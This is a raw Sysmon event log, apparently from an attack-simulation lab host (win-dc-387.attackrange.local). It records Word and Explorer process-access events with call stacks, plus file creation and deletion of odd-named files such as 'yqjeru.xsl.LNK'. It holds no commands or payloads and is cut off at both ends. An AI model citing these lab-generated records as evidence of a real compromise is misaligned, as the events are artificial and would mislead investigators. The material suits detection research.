Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\yqjeru.xsl.LNK2021-09-10 14:58:22.153 23542300x800000000000000049751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.169{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\yqjeru.xsl.LNKMD5=B4DBA50C0B67CBD8A2268DA1B53E64FE,SHA256=5B6E1CA61AD13A180EEA178FE5D36217624BFAA12C7630D5A73A270A196ECFA7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Public\~$bivigi.txtMD5=B50BE9468E747E01A52531299441AB4C,SHA256=3B0FBF53535012ABCD79124277A67B589A8E9D20FF6E0E3D42EF7EF4821584DF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}64442812C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62390|C:\Windows\System32\windows.storage.dll+3c6ffe|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-6D0F-613B-9406-00000000F001}44804752C:\Windows\Explorer.EXE{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\windows.storage.dll+3ca15e|C:\Windows\System32\windows.storage.dll+3c5e2f|C:\Windows\System32\windows.storage.dll+3c6f70|C:\Windows\System32\windows.storage.dll+3c8fee|C:\Windows\System32\windows.storage.dll+7ad03|C:\Windows\System32\windows.storage.dll+7c309|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\yqjeru.xsl.LNK2021-09-10 14:58:22.153 10341000x800000000000000049738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.153{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft 